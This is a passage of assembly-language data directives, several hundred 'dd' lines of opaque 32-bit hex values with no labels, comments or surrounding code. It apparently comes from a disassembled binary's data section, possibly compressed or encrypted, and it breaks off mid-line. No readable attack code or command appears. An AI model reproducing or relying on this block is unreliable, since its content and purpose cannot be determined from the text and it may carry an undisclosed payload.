dd 0C971078Fh, 428E7000h, 7A90595Fh, 4CBF3B51h, 0E9042587h dd 0B93EB366h, 565D8BB8h, 2C00B1E4h, 0DB67B3Ah, 8E51A4h dd 0BC65A009h, 2A27CB9Dh, 3088F48h, 0D86819FFh, 14E9210Dh dd 7D4BC10Eh, 7558C555h, 63494C7Fh, 0B59C0088h, 0B196A43Dh dd 10D60033h, 67E081BCh, 0A31522A0h, 0CCE38Fh, 1DBE73DBh dd 19F1Eh, 0DEBB1F21h, 108B9304h, 49A67009h, 0C180A08Eh dd 9A5FC2h, 877A4F14h, 32F057B0h, 3EFA603h, 0F8E63FD8h dd 92C7CFh, 0DA5BB2A7h, 20C69BD3h, 218A6718h, 0B7C5E9h dd 0D03E0727h, 322C5109h, 6DCA4400h, 8B4B0D7Ah, 97114815h dd 0E0091754h, 0ACD20788h, 5005B0C7h, 383F9F5Bh, 0F8216803h dd 0B027DC8Ch, 0F36DFEFh, 37DEEE5Fh, 450FA4E2h, 0F5F4D8E0h dd 936B1D03h, 98E82262h, 0A065C1D1h, 0F2F249F4h, 0ED7E0021h dd 0D67D3A13h, 9A3FE797h, 14743A32h, 0BCD2ABh, 46C2D9B3h dd 0A00401h, 0BE225BEAh, 9BCE8B95h, 0D0B91225h, 26109886h dd 0D077FBh, 402696DCh, 0A494EA02h, 0CD91D200h, 2C757F17h dd 29077Bh, 0A4C14DF4h, 3A03FD06h, 0CB8BE4B8h, 0E0BE84h dd 4FF3D0D8h, 0A8C93770h, 5AB0FA09h, 8B1868A3h, 0DDF0B3h dd 37F7E76Eh, 41F81A8Fh, 0D92C9101h, 0D008D325h, 4CED8440h dd 0E3B603ADh, 77A9996Ch, 0D56E7FA9h, 128828F4h, 3840B80Ah dd 9320EE56h, 141F0312h, 0F36F1650h, 37A39000h, 849C4AE1h dd 35FE09BAh, 28217C08h, 0EE919D2Eh, 0F6014448h, 6868E424h dd 386C7900h, 573029h, 6696600Fh, 1E2F54E2h, 0D8A86A00h dd 0BECC941h, 7C61E3Ah, 0ACBF3A08h, 545313h, 673E804h dd 11C03F26h, 0C3C4FD7Bh, 0FCFE5C92h, 0F4E27100h, 26780314h dd 3D75C603h, 2CEECD81h, 1EA331h, 7A27D055h, 7407C2A1h dd 46B88707h, 0BAA99A30h, 5DAB7B2Ch, 1E311CC4h, 8140F3E0h dd 0AF1332D1h, 0F0EC99FAh, 0A04B7EFDh, 1C8BE0h, 0BA360E6h dd 0DAA5FF18h, 0A11E2900h, 5289F2DBh, 6D190028h, 20E658BFh dd 0A250659Ah, 0CCA0F3B1h, 6800135Eh, 332896CFh, 60E30CE2h dd 57A431E7h, 0A13F79E6h, 669B94D6h, 0FD4E03C8h, 0F8B7365Dh dd 784DA9h, 1A1E768Dh, 0BD637A6Ch, 1CBAC817h, 3085D440h dd 83224Fh, 612D25DBh, 62B6E49Dh, 4ABCD400h, 0C0CFF853h dd 961200DEh, 0B3C8196Ch, 0C760AA4h, 7DE42A00h, 27EA7F24h dd 0E54900E7h, 0F52E940Eh, 0F09E885Ah, 6F4CBA00h, 120527B9h dd 0D20BCBB1h, 8C609964h, 167F4D5Ch, 9121F400h, 0DC6B4ADh dd 23B900A1h, 0D68B0520h, 0FD00650Fh, 0EE9B59E0h, 106EA4Ah dd 0A6AC241Dh, 0DC2303FEh, 0FAE47846h, 413E0900h, 0F2330CFBh dd 2B0402EFh, 77290116h, 0F191EB80h, 0CE00105Fh, 6522DD48h dd 7F8F1235h, 8F400B9h, 20298DC2h, 5D12E281h, 7C4038AEh dd 0B11FDD94h, 1EF17680h, 0CF0247C1h, 7C05A50h, 0B411184Eh dd 232A6100h, 1D2477A2h, 0F26D03A8h, 787D232h, 41845E8h dd 74424300h, 7EB41208h, 44249478h, 1F9F08ABh, 643A3ACAh dd 0D4525406h, 0B800894Fh, 3714D76Ch, 0F9167F97h, 6ED086D1h dd 99952CFAh, 667E8AFCh, 0EEF4002Ch, 0EF1217B9h, 0F3001EE8h dd 84297C3Ch, 42FB1CCh, 649996F8h, 4F1DC35Eh, 190BAD90h dd 7E8E391Ch, 0A061A440h, 0DAB123Ah, 183EEB62h, 0B9F7E058h dd 3CA8B268h, 0C5026201h, 119E9559h, 0D2DD4116h, 0C67ACAF6h dd 7E20AC50h, 99CC0F18h, 0FAC2C62Fh, 0CC5236B2h, 4FDA5414h dd 272005Ch, 7E7C7AA8h, 73600065h, 13151189h, 0D900A65Bh dd 8E98D18Dh, 2E3DB37Ch, 7E06DA2h, 101863E6h, 91EAD7E5h dd 0DC0057F6h, 44C455C0h, 1E3528C6h, 16A690h, 0FF8DB787h dd 0A5003E40h, 0B18B880Bh, 0E98970h, 0CFF3C44Ch, 4235E654h dd 0AA4360F5h, 0F2740E79h, 81410600h, 1334EEC2h, 3C6700C1h dd 2188438Ah, 65005A22h, 0E92739C4h, 0E37D8EFh, 287B06E6h dd 8021CEE5h, 2FED5ACAh, 26A32900h, 50013495h, 0F61B0096h dd 0E27A52ECh, 4C008C75h, 0DE28DACCh, 98F0E738h, 0F65C04FCh dd 0B0247234h, 454AAAA4h dd 614A7807h, 5E2DF8E0h, 37F916FBh, 1E50004Ch, 4306EB4Eh dd 0E1783979h, 0E31E8179h, 0F0567F20h, 0F7389800h, 0C7790Ch dd 6CD0A31h, 0C42ABD14h, 0EA01EF00h, 8E608347h, 0B48F0080h dd 85A0A339h, 41002F0Eh, 93313672h, 1594946h, 0DD4D2114h dd 60DFFC23h, 0E42C5704h, 0FE038172h, 0BAEE9D5Eh, 87F44095h dd 98C500AAh, 91C4C19Eh, 7300B4A1h, 9C90BBCh, 482A741Bh dd 671DF6DAh, 1ED080EBh, 0B9458F2Eh, 0B1A28D09h, 0C04C4AF8h dd 164DDC0h, 6FD7AF96h, 800C1299h, 441F0480h, 139532D5h dd 257A5Ah, 3C5BE35Ch, 0D0583123h, 0EA00753Ch, 0E21B142Dh dd 30553325h, 29408856h, 0D101A972h, 4FC67374h, 8FF85FFFh dd 0F047003Ah, 2BD22C9Bh, 371FE0D8h, 42409F06h, 58041F5Ch dd 44F800C4h, 0C8F5E692h, 7B0082E1h, 7A6F57D8h, 4C03552Fh dd 3F008C97h, 350609CEh, 591C93BAh, 111F6DB8h, 0D7145844h dd 0B422A4C7h, 89A0C037h, 96C1007Ch, 0D676BEACh, 6B007866h dd 1D95AA23h, 0C08584h, 0ABCA88EAh, 0A2AC6476h, 0AC01E84Eh dd 7F2720D3h, 965E1BC8h, 36093D38h, 755C4D86h, 0B6551400h dd 67D4CFB9h, 81102090h, 802534C6h, 972DB211h, 31A29C76h dd 39603B5Fh, 0E85C16FEh, 24430036h, 3DDA2F90h, 0CC00218Ch dd 0E653A20Bh, 286B94FBh, 0EB41D1Bh, 5BDC7DB0h, 0D4E800B3h dd 7621AFC4h, 808D0127h, 0FF934AE8h, 5FA77BBEh, 19A806h dd 241181F6h, 7C68443h, 12D57A0Fh, 72948008h, 6F00C5ECh dd 0BEE2DA67h, 1AC1B98h, 0E4DCD357h, 2B6290D1h, 0F39B5E0h dd 8B8A87F2h, 0DD6EA560h, 260E2BF0h, 7851A471h, 3572E9Ch dd 0A096ACEDh, 4CA8063Eh, 35008A5Fh, 83E6A33Ch, 1D4395h dd 93C4B415h, 6459D0A6h, 0AC23A700h, 9ABC7BD2h, 6DED3DD9h dd 5A33B880h, 79C8F24Ah, 35A84950h, 478D480Eh, 4E05605Ch dd 0E4A063CCh, 33FA26FFh, 0BAB78090h, 0E28A0299h, 2B015500h dd 0F3122F96h, 230B1615h, 54EF0069h, 6BD04613h, 1A8A3Dh dd 2DD49597h, 13C9D22h, 0D69AFC15h, 0F4AC1223h, 0EE00433Dh dd 5CA2AD0Bh, 482F5690h, 64024893h, 0CAF5C7F7h, 0EF3128C8h dd 39EB060Bh, 8F08E8D5h, 164E07E8h, 0E07DBEA5h, 21C98D6Dh dd 3D01A490h, 79FA4A54h, 20F08591h, 388A0345h, 0B96DD3AFh dd 0DF08D0B5h, 0F217F5CAh, 0AC40D8E5h, 4CB2BB0h, 314004A9h dd 0A0CA7107h, 0A60B7D28h, 0C1702538h, 402A6EF0h, 99AF9E2Ch dd 0A600B778h, 0DB906FD6h, 0A35B9648h, 0E641A68Fh, 0C10400B2h dd 0C9A48675h, 2F009B5Ch, 0AB827742h, 335EDCAh, 7233E17Ch dd 91002D48h, 21A7C80Fh, 0E302BD4h, 0DAAD0318h, 80C7E2A5h dd 58868FDDh, 236FDB00h, 2ADF6235h, 0BB080277h, 541FB578h dd 0BF4C4F0h, 0C59E0600h, 0FBECDC1Dh, 80EE25AEh, 41C9A400h dd 7774495h, 0CD852E00h, 5C53D7A8h, 24D0070h, 513B04BFh dd 5F0005D8h, 679C06C8h, 7A99D8Eh, 89BD7264h, 0A0DD206Fh dd 4C076BCFh, 44F6A58Bh, 0E7997120h, 0B2D84C17h, 0DABDFE00h dd 5C45807Bh, 3C1FD4Ch, 0C05DECCh, 58BEF8CEh, 35930083h dd 141EF636h, 0FB001209h, 0CFACA747h, 0EC319EBh, 3E1DC015h dd 949C6121h, 4C142481h, 0BD008F78h, 6427703Ch, 97128Eh dd 9BA711B9h, 546D811Bh, 55CB181Fh, 0AB076E93h, 53301397h dd 51664Dh, 28783206h, 7645A6F4h, 0A501BF7Bh, 6F10F33Ah dd 59D0F227h, 73460B2Bh, 0C880709Eh, 0BA05FF60h, 245DF000h dd 438CAF58h, 12ED77DAh, 5C25A440h, 54910014h, 0A5907A0Ch dd 3FC6F0A8h, 0F9CC6018h, 4AE4D11h, 29CDA954h, 0ED90D018h dd 1307621Fh, 0C1E8834h, 5A646089h, 298F8B5h, 3BC3AE21h dd 84A0E5B0h, 0D17F459Ah, 29006772h, 0DC18196Dh, 0FEF9D647h dd 1FA3A44h, 0BF6CE980h, 57FB658h, 2F00C571h, 0E1F40476h dd 1D7F2ABh, 825DE4B8h, 6CA6D41Dh, 0DFC800FCh, 0C4DA876Eh dd 497C047Fh, 80AEAB6Bh, 0FBF4324h, 0B2E7AF00h, 0D480B851h dd 8B710072h, 0C6884581h, 961C0F9Ch, 0CD80CACCh, 0DC12C5FCh dd 18EA7CAFh, 0A423B7F2h, 0D1002488h, 349A3D2h, 2AAFCE5h dd 5435B407h, 1DC0DDC0h, 5D25E9A8h, 0DB8CB82Ch, 93CB0003h dd 0C1A4CFF4h, 7A00CA31h, 65BEBB47h, 7E33566Dh, 4B0B00AEh dd 0F4264406h, 0AF38FA2Eh, 54FF00B0h, 0EFB3EB93h, 0C70800B2h dd 0C3828758h, 1900E646h, 57CE2CBEh, 8F6EDEh, 1058A4C1h dd 25462943h, 271DA51Eh, 0DE6980C0h, 6AB5FAh, 31CB62B2h dd 4E193E7Ah, 1C257B00h, 13F96E9Bh, 72A00D3h, 0C2B98739h dd 0BB007D80h, 45185BB4h, 0D46ECBh, 5961E01h, 0E1D3D83Eh dd 127DF348h, 14D22A41h, 0EBE11750h, 0B82823B9h, 33A3F3Bh dd 0C89AB312h, 0C4837308h, 838E474Eh, 0A2765384h, 40F520A8h dd 0D0F912D6h, 1C7DF304h, 807A8900h, 0B331BD46h, 822A2894h dd 77D01299h, 2BD480F7h, 0E0BC0E10h, 2FB15240h, 1DEDB895h dd 87130C51h, 204BBBB2h, 10451D29h, 18704C96h, 5877308Eh dd 91CCDF40h, 405C0096h, 3C2CE3AAh, 750E541Bh, 0DAD4474Dh dd 0D7525BB0h, 0D33EC020h, 0B48B947Bh, 138FAB00h, 0ADD1AC4Eh dd 0D74D00A0h, 0EBBCE98Ch, 5300B83Ah, 0BE5D57D2h, 4099E1h dd 54E77AAFh, 0E97C2E3h, 8DCC1E1Eh, 36B95A07h, 0F499CBD0h dd 9FDE0070h, 0C6FC55C5h, 4C0356F9h, 5C7A21A1h, 95D90BFh dd 0F3B00BBh, 0FC19B765h, 0BD00D8E6h, 0BAE855Eh, 1F87CD75h dd 0D2C004h, 0C8304E54h, 6B001C1Eh, 400834B1h, 0A869C8Bh dd 8EABEF6Ah, 2299809Ch, 6D77201Ah, 2F9A4300h, 90A1BBD7h dd 4E553F4Fh, 693CD580h, 4A732009h, 0EF8BA4A8h, 45DA961Eh dd 0E0E50141h, 3868B58Ch, 80CA3300h, 9838B266h, 31306360h dd 48588A7Eh, 843078CDh, 536AB228h, 91DDCE07h, 41A3C8CCh dd 8960FFC9h, 72EC52h, 0D25781F2h, 7A9DA8FAh, 7E1C2900h dd 0E3185D6Dh, 4C723027h, 0EFC6DF91h, 0DDBB4F0Eh, 9ADC2043h dd 7690FAA6h, 0D80C0311h, 0CA82D07Bh, 7AC9680Eh, 3240FE7Dh dd 1053707Eh, 0DB231E64h, 0B5620133h, 0EC4AB025h, 80C05F01h dd 0DD8CD993h, 9A7E00E3h, 19236A34h, 1A7B50D3h, 0B2100095h dd 3C11D75Ch, 0B3038C47h, 34538FF0h, 169719A0h, 1D1A4E00h dd 0E680121Eh, 66D10301h, 56B93AC1h, 21450830h, 3E667F8h dd 0A12B20C2h, 1800323Bh, 0B292355Dh, 0ADD094h, 144B418Ch dd 0B369A00Ah, 7488E00h, 5CB4DA82h, 341A0D2Ah, 885089CEh dd 60170B80h, 0D0FDE67Ch, 44228646h, 0E663F403h, 10282D40h dd 60473450h, 3C71E89h, 6F647D22h, 0DDE3182Ch, 907CD150h dd 4220C418h, 7BDBC18h, 900461ADh, 0C8F1B1Dh, 0AFA035CFh dd 986512DDh, 91E3300h, 0B1B07125h, 0E414002Dh, 2187045Ch dd 5900646Fh, 68CEE71Ch, 0F8CC2Bh, 538804Dh, 3144E2EAh dd 89866C1Eh, 0A50DA980h, 74CB7B1h, 595E1D91h, 703BB78Eh dd 0E871BDDFh, 9D79CC0Bh, 0EB83008Bh, 126D9A37h, 0B26462h dd 7DE03473h, 4C75A4BEh, 83F4DF07h, 0D6E0D0D8h, 0B82CE4h dd 60A68189h, 0EFD394DCh, 4D958600h, 0FA53446Dh, 0CAAE0040h dd 294ECEFEh, 0C71DC24Bh, 0D7D4153Eh, 0D5D3E004h, 11C860C7h dd 0EFBF8A9Fh, 1A830202h, 407048FFh, 2B2CFCh, 0BB11E20Bh dd 37B99CF8h, 624E5300h, 0A2939E35h, 6452014Dh, 1E54AAD7h dd 97588491h, 5E003ABAh, 0DC6DB8B9h, 0F3A83800h, 6424F120h dd 960B01D4h, 70016136h dd 1520815Fh, 0E8ECDDAh, 2511204Fh, 0C94981D4h, 0B30077E8h dd 30C7B8Ch, 0D9D6E91Ah, 0A4C918A8h, 8EA62065h, 511697Ch dd 0B700E0C7h, 5F37DE86h, 6A33B97Ah, 0CCE0956h, 0DE8E9721h dd 6100AAF0h, 17BE56D3h, 32D1482Ah, 0C5870C8h, 2BF16AE3h dd 577DC8E2h, 9DDD6500h, 3DEFE997h, 68EA311Ah, 504AFF51h dd 0E94DAC0h, 0B600F7E6h, 7D51D12Eh, 0A1438Fh, 92A254CFh dd 83E2BB61h, 3096F95Ch, 0F7983972h, 5399024Ah, 83135E2Ah dd 55A60C80h, 0A41E7F48h, 0CCA87E9Bh, 0F6FEB10Eh, 560CE018h dd 15942959h, 0B0E81E15h, 0D5ED701h, 0FCB58FAAh, 0BD66938Ah dd 214509h, 70AA057Eh, 5638427Fh, 0EB6C610Ah, 0A284FCEFh dd 16045C75h, 263090CCh, 0C500F850h, 0F7CF7185h, 0A7F5C9h dd 98E8812Ch, 22615DDEh, 94BFC528h, 0E413A006h, 1D50351Bh dd 24954F9Ch, 43E18E54h, 1628CE6Ch, 0C1611960h, 12206E6h dd 35D29105h, 53481E25h, 5E817DDCh, 0E3EE052h, 0CDE6CCA0h dd 4EFE2518h, 6A4BD1h, 0E118E955h, 60A2EB7Dh, 22EEFB00h dd 0A0768911h, 732A02A4h, 8F5AA73Ah, 6111989Dh, 838E3A80h dd 87074907h, 2A6037F9h, 514E9411h, 2D48E880h, 0AE98EBA8h dd 0B8C22778h, 6086BB42h, 90C1E4ECh, 0D52C00B4h, 8D4F070Eh dd 80A91E16h, 8321F1B5h, 3ABCDAA8h, 54B1309Ch, 21349321h dd 0DE1B610Eh, 0E7FDA0FFh, 0A054F143h, 0F7A0B5A4h, 406002CFh dd 6A7D8BE0h, 786EB8A0h, 0E70395FBh, 0CF195A74h, 7708309Ch dd 0FB902921h, 0BA42F900h, 1D998CB5h, 4CE84CB9h, 910E3800h dd 0D029562h, 8839FF2Ah, 0F7074200h, 0E21A9E48h, 228492C5h dd 170033FEh, 0FBD24A13h, 0B0E1ADh, 8A1E59F5h, 0A65DFC9Eh dd 0D91D1533h, 386AE0A4h, 43D101E7h, 77369701h, 13FC208Eh dd 84A6312Ah, 0B1797D30h, 234681h, 0AB89C564h, 9002F8F5h dd 57398B0Fh, 0E875C158h, 3431A69Fh, 3A152050h, 0C7EEAF8h dd 0C3C80F86h, 0A40058B1h, 0DDDCC631h, 0E8864B0h, 0A0915AA1h dd 38D0EC40h, 70E8050h, 2AF03F8Eh, 3407B0DBh, 0A339E949h dd 0C5450B60h, 1056FC70h, 0DD030042h, 0C09F2AA7h, 889A74E9h dd 6A2828C4h, 65AB0840h, 0A47C4D43h, 24364724h, 50E47D00h dd 35E62FAh, 0C9D44E07h, 4009674Ch, 81962770h, 0B912A6A8h dd 3D0041DEh, 9FF7BC50h, 0A8B869DFh, 445D0C90h, 0D3213860h dd 0A3C9F8F0h, 77D8A964h, 692BEA10h, 3E506E64h, 805870C7h dd 298FBD7Dh, 9F484FDEh, 4BE781E4h, 0D300C911h, 0D167CBA0h dd 398CC658h, 1D760429h, 0C122E56Dh, 15EFB30h, 0D2DC9879h dd 3E9A1394h, 0A50C314Fh, 0BF2841CAh, 236822B4h, 0FB740187h dd 1854E809h, 8C258870h, 0CB1CFB01h, 426576C1h, 30F054DCh dd 0CE50B02Ch, 0A60695FAh, 2FD37DAEh, 1FF921F8h, 3ADEEB04h dd 0E2C0813h, 32E1A3C7h, 0CF18A25Fh, 48BA088h, 684B07DEh dd 0BD97C205h, 0B49CC490h, 0A6A2D102h, 0A04FFFCDh, 0D80588C8h dd 416D00BFh, 4932ACC6h, 65025FC0h, 1112A4CDh, 72880724h dd 0A86817FBh, 7A1FE77Fh, 0B3039C18h, 0B09FF1E1h, 3F56736Ah dd 704CF95Ch, 0B013423h, 0A9B575AAh, 78886218h, 8CAA0003h dd 8804138Dh, 0CE249031h, 0C4C87CAEh, 774674h, 0EE95BD4Ch dd 125F4729h, 1E6E80E9h, 86B88038h, 6716A0D1h, 0E7533403h dd 2C8512Bh, 41853FF0h, 389089E0h, 9710FB8Ah, 2BE064E7h dd 1302FB82h, 140DFAA4h, 1814E0B5h, 0E805806Fh, 0A63C5AE8h dd 0A471A8FBh, 1C59D1EEh, 23C848F8h, 21310190h, 1832A4A3h dd 395E8851h, 90622100h, 0F01B3F47h, 4C8D0330h, 342E9BA6h dd 9E876000h, 132FFDE5h, 96C102BFh, 7362A49Dh, 6038D084h dd 1679A997h, 2C8B09B5h, 0F037C40h, 1CA760AAh, 0B3699825h dd 0E2EB0EBCh, 3AECBEA6h, 48C8CC0h, 0A49F212Dh, 21CD62D2h dd 0DC213592h, 0D4022D3Bh, 0FE3A433h, 0E630483Dh, 18110C16h dd 5F312715h, 8014D200h, 0D1C9C023h, 565300C7h, 0A326B93Ah dd 440158F9h, 808C5112h, 0E425992Ah, 0C0702041h, 1C574400h dd 8048F22Ch, 72932402h, 19CC839h, 0E8895D54h, 3E4E9B0Ch dd 0BF30E018h, 0BE8D5871h, 261D2ACFh, 0A44F1588h, 0CE07FC69h dd 0E3129EEAh, 20035E73h, 37A86D77h, 0E97802C2h, 5D07202Bh dd 62206C64h, 0B9BE0C3Dh, 9E7868E0h, 35BFA504h, 90D750F8h dd 770818Fh, 0D8427C48h, 2098313Bh, 156B5A5h, 4622D8h dd 0F5AA1079h, 0D9353EF3h, 0A685D300h, 0DAFC3A9Ch, 6784F677h dd 5449C15Dh, 60A28063h, 1A00FB72h, 0F7A301E3h, 15A0D2E9h dd 0A05069C4h, 0C8340C01h, 2021775Eh, 48C88C8h, 0E80AFB75h dd 2274626Ch, 0A0408D24h, 1AEE104Ch, 0F0ADECA8h, 9EB8E573h dd 89726603h, 0A92E4D4Fh, 7CC1350Bh, 40F27FD1h, 8058AB9Ch dd 8714B948h, 7CD8DE41h, 0C9605720h, 149D1D98h, 34807311h dd 0DC131876h, 0D6C60C0h, 28E95E65h, 30D05DE8h, 0BD315C84h dd 200021A5h, 0C36ECAEDh, 0C4D0F8h, 0F760A942h, 0D202CFBCh dd 0A897EF1Eh, 807C5101h, 3060FBAFh, 0F31B4191h, 957D6AA8h dd 564EB207h, 0DCD05904h, 0C0608478h, 0FE6D7B69h, 0EC0111CEh dd 49EB0A47h, 0F9807FB9h, 0B4E68D1Ah, 14B06292h, 85070C46h dd 0F85F30DEh, 9600D1CEh, 0E43BDE8Dh, 2BFEECDAh, 0E11AB312h dd 1C9070D7h, 17F6A1h, 0EEBA67Ch, 0FE641B94h, 0D73540h dd 2014F205h, 2C9A40Ah, 6692B500h, 0C80DA08Dh, 1449CFDEh dd 0AA00FABCh, 40EBD6B0h, 3C2450D3h, 0E30270C4h, 8028355Bh dd 0C0F86D88h, 1E18C393h, 690049E8h, 60406BFFh, 0D072DFh dd 0BBA62820h, 35CDB4DAh, 93428900h, 0F79881A1h, 842B2636h dd 60356470h, 1074AA0Ah, 0C88AB1B5h, 2778063h, 0C904E5AAh dd 1F95803Fh, 1E82C11Dh, 60D6BAFCh, 81B96824h, 8439C6h dd 121DAF0Eh, 0FA73F8h, 4A7FEDD9h, 2A59BEB4h, 0C326EE00h dd 29DF470Bh, 58AD4DCCh, 30125539h, 8A800B5h, 0E9D5DCBBh dd 6C024099h, 35DE9Bh, 0CF1A0ED4h, 402CCA6h, 95DF6C18h dd 5CE4EDh, 260D145Dh, 98BAC48Eh, 0CC98AC92h, 0FCE40614h dd 2AA103B2h, 506EE294h, 8C0F1858h, 31DE8404h, 0C2628A5Fh dd 0DE8CA120h, 3F640468h, 0A7B83050h, 0A0E4A1F4h, 6607720h dd 84E949CDh, 0EB00F84Fh, 0B48B1FBAh, 6E1620E1h, 0A7E7C9C9h dd 9D29008Ah, 0B03D084Ch, 0E0C480FBh, 5DFE9A6Fh, 7564264Eh dd 50F208DCh, 2CDE7913h, 217D9C84h, 901AF0BDh, 0D4088420h dd 0E8E56262h, 0E60C2E4h, 50186D10h, 67D0A4F0h, 15CD2442h dd 4674289Ch, 0A908791Fh, 0C461B58Eh, 0C7D4044h, 3B2027AAh dd 0C101A3D1h, 0D92A87FAh, 15508AC5h, 83BBBC28h, 84D8F6B2h dd 47F190AEh, 0F0050443h, 8E20E241h, 0C06188B0h, 884BCA68h dd 3C00C5E4h, 0A43D6FB6h, 0A05557EBh, 0C151FECCh, 7F0C8531h dd 93D3C074h, 71D870EBh, 0C2D82750h, 967831F2h, 733015F8h dd 9E1CB06Bh, 34DE00A2h, 23E1B19Ch, 0C600BAA7h, 0CCBCA92Ch dd 3CA9786h, 0B9B488B6h, 0D1C05B17h, 99005D19h, 989204DBh dd 987123C8h, 0ABB1006Eh, 5EC95563h, 6B009736h, 0D72A0EE5h dd 391EAEh, 0EB8380EDh, 0C60266C2h, 59E25600h, 7D1F7540h dd 0F5170045h, 8BA73D83h, 24733F0Ch, 0DE498C00h, 6CF83E4Ah dd 0F9D10047h, 0E7E84869h, 41C04F3Ah, 0FC7E6118h, 0B42142Ah dd 0DE00ADABh, 0ECF16399h, 4000ACA2h, 36754B14h, 87CDBCh dd 0DFF83038h, 0D9B3E0FAh dd 86D5F907h, 9CA00B8Ch, 0C4FD16h, 0CF9A7C96h, 709353ADh dd 2055EB00h, 7F82AC36h, 0FF1034Ch, 0A85679ABh, 8B8185EAh dd 0D0731D5Bh, 2401D6C1h, 0DD448A0Eh, 0A88E5865h, 9EE006B6h dd 0DAF18549h, 225C6400h, 0CF65E3B3h, 0A2F00D7h, 6DF4339Fh dd 137BFB4Dh, 3AFE8302h, 0A0885C70h, 52C133F4h, 907C58h dd 72106467h, 3E2CF031h, 0C03203Ch, 11147ECBh, 0D84F2AEBh dd 337D4C94h, 0D485E407h, 8EE5A029h, 0C74C4525h, 0A4DC878Ch dd 0AC8D014Eh, 95CD0153h, 9DA3F8h, 0BBB1499Fh, 0AFD26085h dd 86696700h, 5F127482h, 513F00BAh, 46369FADh, 58C01E87h dd 0A3EE83F2h, 0C07566h, 81522977h, 89584F6Bh, 5741FB09h dd 30E70086h, 46765E8h, 64DBCFB7h, 0B33E808Ah, 52004119h dd 0F3427EFEh, 0FE1A4C39h, 0F563014Eh, 0B84DD17Ah, 9CD9C451h dd 471FD501h, 0F6EA5855h, 9248096h, 2C0054D7h, 0C2093143h dd 2D194D00h, 0E3DE9940h, 1F34AA9h, 3472BD2Ch, 5B8EECEFh dd 841EBC01h, 0A14879F4h, 58CA560h, 0C8D7B247h, 90AC007Fh dd 0FA1243BEh, 0DBC57A1Ch, 0B79F6C07h, 0A77750E0h, 68C8DC94h dd 96A3FECh, 0F5CA2C00h, 514041Ch, 189AC900h, 912772FDh dd 0C3CB009Bh, 0F9901589h, 6705C81Dh, 6B7654EFh, 180B4h dd 0E3986916h, 60FEB919h, 7F57C10Bh, 0C7A83FDh, 542B886Ah dd 5F21DCDh, 81E0876Ch, 3B43AE5Eh, 0B8004FFCh, 37AFA2A4h dd 0FF5EFFFh, 9205DDFDh, 2050E806h, 0EA9EB000h, 0D99F4677h dd 66AE3D8Ah, 0FF87CC81h, 8FDB2F8Bh, 80F801D8h, 0FD8D5645h dd 0AD4002CDh, 0BBC7E9E0h, 9B9E2040h, 73BE0100h, 65290896h dd 3DF40742h, 0D050F720h, 0BAE17FE9h, 14CA048h, 0B0678CC2h dd 0DC47C6B2h, 0B7481059h, 0FE4000BBh, 0AF39A292h, 449153A1h dd 50A46202h, 8EB84009h, 961B03BAh, 18821DE0h, 2C9A9290h dd 0EE4E0700h, 0B591C59Fh, 7067001Ch, 41CB26B9h, 463BCD77h dd 6F290015h, 2AD1EA24h, 736400CEh, 5F8DB982h, 4000FC90h dd 2D397E1Eh, 5687DEh, 8CC42B16h, 1727F4D7h, 0F95EE200h dd 4900820h, 0E1C200CAh, 0D0FE7AADh, 0BD00262Ah, 0DD492D33h dd 0E4205AD7h, 9DFF30B8h, 899C4A21h, 0E3924102h, 63A52D53h dd 20111EC0h, 0DCC81F32h, 0CA5440FAh, 8598D67Fh, 0AEEF8603h dd 0C0D5045Ch, 126DE0h, 0A0F449E3h, 396EF02Ch, 181C7026h dd 0E8274000h, 7532A42h, 92DCD236h, 7565107Bh, 6005A3Fh dd 540908FEh, 2D7C09Eh, 0B2F36E38h, 9AE05BCFh, 1400B52Ch dd 9DB3C8CAh, 0BCEAEh, 0D4BBCBAAh, 7202E9F9h, 0E584CC02h dd 805DDB80h, 92FB8D88h, 0FA6C2639h, 4B690702h, 6E7AC032h dd 0ECEE740Ch, 0AFB8B750h, 0CB013900h, 29E157C6h, 0CCDA0703h dd 0A0866BD2h, 63BCB494h, 3300B0B2h, 34CF6061h, 902BE962h dd 0FC420658h, 11F51D55h, 326DE100h, 0DCA25E19h, 0C7560071h dd 9AEEC3A9h, 0DF4E2F7h, 23ED5507h, 534EEAF1h, 6D27C403h dd 0E8FAE21Dh, 729434h, 1E995BC2h, 4784CBD8h, 80F8E2BFh dd 4590B61Ch, 0FD5D002Fh, 801497C5h, 7A00F498h, 5F49A1F3h dd 48185699h, 300F66Ah, 0F18DC2A6h, 0A001C0B8h, 0D190D5D4h dd 0DCF85E1Ch, 38710009h, 0BCF0B1AFh, 91007B4Bh, 3455CC6Fh dd 3E1F2Dh, 41E2CEADh, 7D5077ACh, 668471Ch, 55386187h dd 4F700C50h, 818C0EB2h, 0B320B11Eh, 5EE5717Dh, 54F76501h dd 670D6F5Fh, 2361E8h, 73FE2D68h, 98AE139Bh, 329A7B00h dd 0C0C363D4h, 3966070Bh, 0C0A7512Bh, 176CCAC1h, 0F43EFE00h dd 76B9FB7Dh, 513A0EDBh, 0B42361D6h, 0C2002B29h, 0D8478085h dd 0CABBF5h, 9E7292C4h, 97B327EBh, 7415C500h, 0FD93A7EAh dd 66C800CEh, 1949D8B6h, 961E6537h, 6C0F8DCh, 1A126E5Ah dd 0CAB21E78h, 29D3C0AEh, 573D20D8h, 0F4884E0Bh, 0BF4B08A1h dd 0E065AA0Eh, 5F3E5541h, 7D4602DDh, 7C4D2F1Ch, 0FDE783F7h dd 0A26A010h, 796C00DCh, 8F556441h, 5F495EE3h, 98240014h dd 0DDFF338Dh, 58070043h, 6081F82Fh, 9A0B6414h, 9121DAh dd 0A2682A44h, 80F494DFh, 7DF555A0h, 7130330Eh, 0ABAA3EBBh dd 0B8B40E52h, 0B5C04588h, 0C9A75B87h, 4D558B00h, 4B676958h dd 47DE656h, 9259683Dh, 877080ECh, 7C0B78EDh, 0C15E3E96h dd 0A53012B8h, 0E0CD32D1h, 48038210h, 7A21208Bh, 0CDAC627h dd 0BB20F0h, 0D3836BD9h, 0FA568AC9h, 0CA41849h, 0C06FA2FDh dd 5AA400E7h, 3FDF289Ah, 79618A69h, 0B96AD439h, 3881B921h dd 343A94C7h, 6DD0404Eh, 9300280Fh, 0B1885495h, 18FD10h dd 0DD5CAD24h, 0F74EE03Bh, 0A163F303h, 0D0604CB4h, 0FF91B8h dd 47D476BFh, 3652D7B1h, 6EB56200h, 7E544688h, 7FFB00A4h dd 9B84DE64h, 58009642h, 6A757BBh, 3AA6D72h, 0A8D1A23Dh dd 53906E50h, 0CCF81289h, 103EA8BEh, 571DB9B7h, 5E58401Ch dd 2D2138DCh, 93A69CA0h, 0F418CA5Ah, 82192020h, 9C80C854h dd 0FF2D9DACh, 